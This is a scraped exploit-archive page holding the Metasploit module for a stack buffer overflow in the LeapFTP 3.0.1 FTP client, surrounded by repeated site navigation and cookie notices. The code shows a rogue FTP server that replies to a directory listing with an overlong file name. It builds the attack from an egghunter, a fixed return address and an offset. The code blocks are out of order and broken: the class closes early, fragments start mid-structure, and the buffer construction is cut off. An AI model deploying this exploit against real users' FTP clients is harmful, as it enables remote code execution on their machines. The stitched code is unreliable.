



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

LeapFTP 3.0.1 - Remote Stack Buffer Overflow (Metasploit)

EDB-ID:

16704

CVE:

EDB Verified: 

Author:

[METASPLOIT](#)

Type:

[REMOTE](#)

Exploit:  



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

```
##
# $Id: leapftp_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::FtpServer
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'LeapFTP 3.0.1 Stack Buffer Overflow',
      'Description'   => %q{
        This module exploits a buffer overflow in the LeapFTP
        3.0.1 client.
      })
  end
end
```

Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
      'EXITFUNC' => 'seh',
    },
    'Payload'    =>
      {
        'Space'    => 1000,
        'BadChars' => "\x00",
        'StackAdjustment' => -3500,
      },
    'Platform'   => 'win',
    'Targets'    =>
      [
        [ 'Windows Universal', { 'Offset' => 528, 'Ret' =>
0x0042A8A8 } ], # ADD ESP,64, POP EBX, RET :) boy I love pvefindaddr
      ],
    'Privileged' => false,
    'DisclosureDate' => 'Oct 12 2010',
    'DefaultTarget' => 0))
  end

  def setup
    super
  end

  def on_client_unknown_command(c, cmd, arg)
    c.put("200 OK\r\n")
  end
end
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

```

end

def on_client_command_list(c, arg)
  conn = establish_data_connection(c)
  if(not conn)
    c.put("425 Can't build data connection\r\n")
    return
  end
  print_status(" - Data connection set up")
  code = 150
  c.put("#{code} Here comes the directory listing.\r\n")
  code = 226
  c.put("#{code} Directory send ok.\r\n")
  # create the egg hunter
  badchars = ""
  eggoptions =
  {
    :checksum => true,
    :eggtag => "W00T"
  }
  hunter, egg =
generate_egghunter(payload.encoded, badchars, eggoptions)
  # Get the file ready
  junk = "\x73\x65" #73 65 = jump over filename = "se"
  junk << "erot_admin_passwd.txt"

```


Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

Tags: [Metasploit Framework](#)
(MSF)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

OffSec Services Limited 2026. All rights reserved.



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >